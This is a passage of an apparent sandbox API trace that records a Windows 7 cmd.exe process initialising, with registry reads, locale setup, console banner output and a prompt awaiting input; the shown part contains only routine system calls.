dwLength=0x30 | out: lpBuffer=0x1dfb10*(BaseAddress=0xe1000, AllocationBase=0xe0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0038.485] VirtualQuery (in: lpAddress=0xe4000, lpBuffer=0x1dfb10, dwLength=0x30 | out: lpBuffer=0x1dfb10*(BaseAddress=0xe4000, AllocationBase=0xe0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0038.485] VirtualQuery (in: lpAddress=0x1e0000, lpBuffer=0x1dfb10, dwLength=0x30 | out: lpBuffer=0x1dfb10*(BaseAddress=0x1e0000, AllocationBase=0x1e0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0038.485] GetConsoleOutputCP () returned 0x1b5 [0038.523] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a6dbfe0 | out: lpCPInfo=0x4a6dbfe0) returned 1 [0038.523] SetConsoleCtrlHandler (HandlerRoutine=0x4a6c3184, Add=1) returned 1 [0038.523] _get_osfhandle (_FileHandle=1) returned 0xec [0038.523] SetConsoleMode (hConsoleHandle=0xec, dwMode=0x0) returned 0 [0038.523] _get_osfhandle (_FileHandle=1) returned 0xec [0038.523] GetConsoleMode (in: hConsoleHandle=0xec, lpMode=0x4a6ce194 | out: lpMode=0x4a6ce194) returned 0 [0038.523] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.523] GetConsoleMode (in: hConsoleHandle=0xa0, lpMode=0x4a6ce198 | out: lpMode=0x4a6ce198) returned 0 [0038.524] GetEnvironmentStringsW () returned 0x2f8a60* [0038.524] GetProcessHeap () returned 0x2e0000 [0038.524] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xa7c) returned 0x2f94f0 [0038.524] FreeEnvironmentStringsW (penv=0x2f8a60) returned 1 [0038.524] GetProcessHeap () returned 0x2e0000 [0038.524] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x8) returned 0x2f88e0 [0038.524] GetEnvironmentStringsW () returned 0x2f8a60* [0038.524] GetProcessHeap () returned 0x2e0000 [0038.524] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xa7c) returned 0x2f9f80 [0038.524] FreeEnvironmentStringsW (penv=0x2f8a60) returned 1 [0038.524] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1dea68 | out: phkResult=0x1dea68*=0x44) returned 0x0 [0038.524] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1dea60, lpData=0x1dea80, lpcbData=0x1dea64*=0x1000 | out: lpType=0x1dea60*=0x0, lpData=0x1dea80*=0x18, lpcbData=0x1dea64*=0x1000) returned 0x2 [0038.524] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1dea60, lpData=0x1dea80, lpcbData=0x1dea64*=0x1000 | out: lpType=0x1dea60*=0x4, lpData=0x1dea80*=0x1, lpcbData=0x1dea64*=0x4) returned 0x0 [0038.524] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1dea60, lpData=0x1dea80, lpcbData=0x1dea64*=0x1000 | out: lpType=0x1dea60*=0x0, lpData=0x1dea80*=0x1, lpcbData=0x1dea64*=0x1000) returned 0x2 [0038.524] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1dea60, lpData=0x1dea80, lpcbData=0x1dea64*=0x1000 | out: lpType=0x1dea60*=0x4, lpData=0x1dea80*=0x0, lpcbData=0x1dea64*=0x4) returned 0x0 [0038.524] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1dea60, lpData=0x1dea80, lpcbData=0x1dea64*=0x1000 | out: lpType=0x1dea60*=0x4, lpData=0x1dea80*=0x40, lpcbData=0x1dea64*=0x4) returned 0x0 [0038.525] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1dea60, lpData=0x1dea80, lpcbData=0x1dea64*=0x1000 | out: lpType=0x1dea60*=0x4, lpData=0x1dea80*=0x40, lpcbData=0x1dea64*=0x4) returned 0x0 [0038.525] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1dea60, lpData=0x1dea80, lpcbData=0x1dea64*=0x1000 | out: lpType=0x1dea60*=0x0, lpData=0x1dea80*=0x40, lpcbData=0x1dea64*=0x1000) returned 0x2 [0038.525] RegCloseKey (hKey=0x44) returned 0x0 [0038.525] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1dea68 | out: phkResult=0x1dea68*=0x44) returned 0x0 [0038.525] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1dea60, lpData=0x1dea80, lpcbData=0x1dea64*=0x1000 | out: lpType=0x1dea60*=0x0, lpData=0x1dea80*=0x40, lpcbData=0x1dea64*=0x1000) returned 0x2 [0038.525] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1dea60, lpData=0x1dea80, lpcbData=0x1dea64*=0x1000 | out: lpType=0x1dea60*=0x4, lpData=0x1dea80*=0x1, lpcbData=0x1dea64*=0x4) returned 0x0 [0038.525] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1dea60, lpData=0x1dea80, lpcbData=0x1dea64*=0x1000 | out: lpType=0x1dea60*=0x0, lpData=0x1dea80*=0x1, lpcbData=0x1dea64*=0x1000) returned 0x2 [0038.525] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1dea60, lpData=0x1dea80, lpcbData=0x1dea64*=0x1000 | out: lpType=0x1dea60*=0x4, lpData=0x1dea80*=0x0, lpcbData=0x1dea64*=0x4) returned 0x0 [0038.525] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1dea60, lpData=0x1dea80, lpcbData=0x1dea64*=0x1000 | out: lpType=0x1dea60*=0x4, lpData=0x1dea80*=0x9, lpcbData=0x1dea64*=0x4) returned 0x0 [0038.525] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1dea60, lpData=0x1dea80, lpcbData=0x1dea64*=0x1000 | out: lpType=0x1dea60*=0x4, lpData=0x1dea80*=0x9, lpcbData=0x1dea64*=0x4) returned 0x0 [0038.525] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1dea60, lpData=0x1dea80, lpcbData=0x1dea64*=0x1000 | out: lpType=0x1dea60*=0x0, lpData=0x1dea80*=0x9, lpcbData=0x1dea64*=0x1000) returned 0x2 [0038.525] RegCloseKey (hKey=0x44) returned 0x0 [0038.525] time (in: timer=0x0 | out: timer=0x0) returned 0x5d150ed7 [0038.525] srand (_Seed=0x5d150ed7) [0038.525] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0038.525] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0038.525] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a6dc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.525] GetProcessHeap () returned 0x2e0000 [0038.525] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x218) returned 0x2faa10 [0038.526] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2faa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0038.526] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.526] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.526] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.526] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0038.526] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0038.526] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0038.526] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0038.526] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0038.526] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0038.526] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0038.526] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0038.526] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0038.526] GetProcessHeap () returned 0x2e0000 [0038.526] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f94f0 | out: hHeap=0x2e0000) returned 1 [0038.526] GetEnvironmentStringsW () returned 0x2f8a60* [0038.526] GetProcessHeap () returned 0x2e0000 [0038.526] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xa94) returned 0x2fac30 [0038.526] FreeEnvironmentStringsW (penv=0x2f8a60) returned 1 [0038.526] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.526] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.526] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0038.526] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0038.526] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0038.526] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0038.527] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0038.527] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0038.527] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0038.527] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0038.527] GetProcessHeap () returned 0x2e0000 [0038.527] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x5c) returned 0x2fb6d0 [0038.527] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1df870 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.527] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1df870, lpFilePart=0x1df850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1df850*="Desktop") returned 0x25 [0038.527] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.527] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1df580 | out: lpFindFileData=0x1df580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x2fb740 [0038.527] FindClose (in: hFindFile=0x2fb740 | out: hFindFile=0x2fb740) returned 1 [0038.527] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1df580 | out: lpFindFileData=0x1df580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x2fb740 [0038.527] FindClose (in: hFindFile=0x2fb740 | out: hFindFile=0x2fb740) returned 1 [0038.527] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0038.527] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1df580 | out: lpFindFileData=0x1df580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7d4a0670, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x7d4a0670, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x2fb740 [0038.528] FindClose (in: hFindFile=0x2fb740 | out: hFindFile=0x2fb740) returned 1 [0038.528] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.528] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0038.528] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0038.528] GetProcessHeap () returned 0x2e0000 [0038.528] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fac30 | out: hHeap=0x2e0000) returned 1 [0038.528] GetEnvironmentStringsW () returned 0x2fb740* [0038.528] GetProcessHeap () returned 0x2e0000 [0038.528] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xae8) returned 0x2fc230 [0038.528] FreeEnvironmentStringsW (penv=0x2fb740) returned 1 [0038.528] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a6dc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.528] GetProcessHeap () returned 0x2e0000 [0038.528] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb6d0 | out: hHeap=0x2e0000) returned 1 [0038.528] GetProcessHeap () returned 0x2e0000 [0038.528] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4016) returned 0x2fcd20 [0038.529] GetProcessHeap () returned 0x2e0000 [0038.529] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd20 | out: hHeap=0x2e0000) returned 1 [0038.529] GetConsoleOutputCP () returned 0x1b5 [0038.529] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a6dbfe0 | out: lpCPInfo=0x4a6dbfe0) returned 1 [0038.529] GetUserDefaultLCID () returned 0x409 [0038.529] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a6d7b50, cchData=8 | out: lpLCData=":") returned 2 [0038.529] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1df980, cchData=128 | out: lpLCData="0") returned 2 [0038.529] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1df980, cchData=128 | out: lpLCData="0") returned 2 [0038.529] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1df980, cchData=128 | out: lpLCData="1") returned 2 [0038.529] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a6ea740, cchData=8 | out: lpLCData="/") returned 2 [0038.529] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a6ea4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0038.530] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a6ea460, cchData=32 | out: lpLCData="Tue") returned 4 [0038.530] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a6ea420, cchData=32 | out: lpLCData="Wed") returned 4 [0038.530] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a6ea3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0038.530] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a6ea3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0038.530] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a6ea360, cchData=32 | out: lpLCData="Sat") returned 4 [0038.530] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a6ea700, cchData=32 | out: lpLCData="Sun") returned 4 [0038.530] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a6d7b40, cchData=8 | out: lpLCData=".") returned 2 [0038.530] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a6ea4e0, cchData=8 | out: lpLCData=",") returned 2 [0038.530] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0038.530] GetProcessHeap () returned 0x2e0000 [0038.531] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20c) returned 0x2f95c0 [0038.531] GetConsoleTitleW (in: lpConsoleTitle=0x2f95c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.531] _get_osfhandle (_FileHandle=1) returned 0xec [0038.531] GetFileType (hFile=0xec) returned 0x3 [0038.531] BrandingFormatString () returned 0x2f97e0 [0038.536] GetVersion () returned 0x1db10106 [0038.536] _vsnwprintf (in: _Buffer=0x1dfaf0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x1dfa88 | out: _Buffer="6.1.7601") returned 8 [0038.536] _get_osfhandle (_FileHandle=1) returned 0xec [0038.536] GetFileType (hFile=0xec) returned 0x3 [0038.536] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a6e6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0038.536] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a6e6340, nSize=0x2000, Arguments=0x1dfa90 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0038.536] _get_osfhandle (_FileHandle=1) returned 0xec [0038.536] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a6dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0038.536] WriteFile (in: hFile=0xec, lpBuffer=0x4a6dc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1dfa18, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesWritten=0x1dfa18*=0x24, lpOverlapped=0x0) returned 1 [0038.536] _vsnwprintf (in: _Buffer=0x4a6e6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1dfab8 | out: _Buffer="\r\n") returned 2 [0038.536] _get_osfhandle (_FileHandle=1) returned 0xec [0038.536] GetFileType (hFile=0xec) returned 0x3 [0038.536] _get_osfhandle (_FileHandle=1) returned 0xec [0038.536] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a6dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0038.536] WriteFile (in: hFile=0xec, lpBuffer=0x4a6dc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1dfa88, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesWritten=0x1dfa88*=0x2, lpOverlapped=0x0) returned 1 [0038.536] _vsnwprintf (in: _Buffer=0x4a6e6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x1dfab8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0038.536] _get_osfhandle (_FileHandle=1) returned 0xec [0038.536] GetFileType (hFile=0xec) returned 0x3 [0038.537] _get_osfhandle (_FileHandle=1) returned 0xec [0038.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a6dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0038.537] WriteFile (in: hFile=0xec, lpBuffer=0x4a6dc320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x1dfa88, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesWritten=0x1dfa88*=0x3f, lpOverlapped=0x0) returned 1 [0038.537] _vsnwprintf (in: _Buffer=0x4a6e6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1dfab8 | out: _Buffer="\r\n") returned 2 [0038.537] _get_osfhandle (_FileHandle=1) returned 0xec [0038.537] GetFileType (hFile=0xec) returned 0x3 [0038.537] _get_osfhandle (_FileHandle=1) returned 0xec [0038.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a6dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0038.537] WriteFile (in: hFile=0xec, lpBuffer=0x4a6dc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1dfa88, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesWritten=0x1dfa88*=0x2, lpOverlapped=0x0) returned 1 [0038.537] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0038.537] GetProcAddress (hModule=0x76e30000, lpProcName="CopyFileExW") returned 0x76e423d0 [0038.537] GetProcAddress (hModule=0x76e30000, lpProcName="IsDebuggerPresent") returned 0x76e38290 [0038.537] GetProcAddress (hModule=0x76e30000, lpProcName="SetConsoleInputExeNameW") returned 0x76e417e0 [0038.537] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.537] GetFileType (hFile=0xa0) returned 0x3 [0038.537] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0038.537] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x1df8e0 | out: TokenHandle=0x1df8e0*=0x0) returned 0xc000007c [0038.537] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1df8e0 | out: TokenHandle=0x1df8e0*=0x50) returned 0x0 [0038.537] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x1df8f0, TokenInformationLength=0x4, ReturnLength=0x1df8f8 | out: TokenInformation=0x1df8f0, ReturnLength=0x1df8f8) returned 0x0 [0038.537] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x1df8f8, TokenInformationLength=0x4, ReturnLength=0x1df8f0 | out: TokenInformation=0x1df8f8, ReturnLength=0x1df8f0) returned 0x0 [0038.537] NtClose (Handle=0x50) returned 0x0 [0038.537] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x1df8c0, nSize=0x0, Arguments=0x1df8c8 | out: lpBuffer="\x97e0\x2f") returned 0xf [0038.538] GetProcessHeap () returned 0x2e0000 [0038.538] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x218) returned 0x2e1ab0 [0038.538] GetConsoleTitleW (in: lpConsoleTitle=0x1df910, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.538] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0038.538] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0038.538] GetProcessHeap () returned 0x2e0000 [0038.538] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2e1ab0 | out: hHeap=0x2e0000) returned 1 [0038.538] LocalFree (hMem=0x2f97e0) returned 0x0 [0038.539] GetProcessHeap () returned 0x2e0000 [0038.539] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2faa10 | out: hHeap=0x2e0000) returned 1 [0038.539] _vsnwprintf (in: _Buffer=0x4a6e6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1df5f8 | out: _Buffer="\r\n") returned 2 [0038.539] _get_osfhandle (_FileHandle=1) returned 0xec [0038.539] GetFileType (hFile=0xec) returned 0x3 [0038.539] _get_osfhandle (_FileHandle=1) returned 0xec [0038.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a6dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0038.539] WriteFile (in: hFile=0xec, lpBuffer=0x4a6dc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1df5c8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesWritten=0x1df5c8*=0x2, lpOverlapped=0x0) returned 1 [0038.539] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0038.539] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a6dc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.539] _vsnwprintf (in: _Buffer=0x4a6ceb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1df608 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0038.539] _vsnwprintf (in: _Buffer=0x4a6cebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1df608 | out: _Buffer=">") returned 1 [0038.539] _get_osfhandle (_FileHandle=1) returned 0xec [0038.539] GetFileType (hFile=0xec) returned 0x3 [0038.539] _get_osfhandle (_FileHandle=1) returned 0xec [0038.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a6dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0038.539] WriteFile (in: hFile=0xec, lpBuffer=0x4a6dc320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1df5f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesWritten=0x1df5f8*=0x26, lpOverlapped=0x0) returned 1 [0038.539] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.539] GetFileType (hFile=0xa0) returned 0x3 [0038.539] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.540] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.540] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.540] MultiByteToWideChar (in: CodePage=0x1b5, 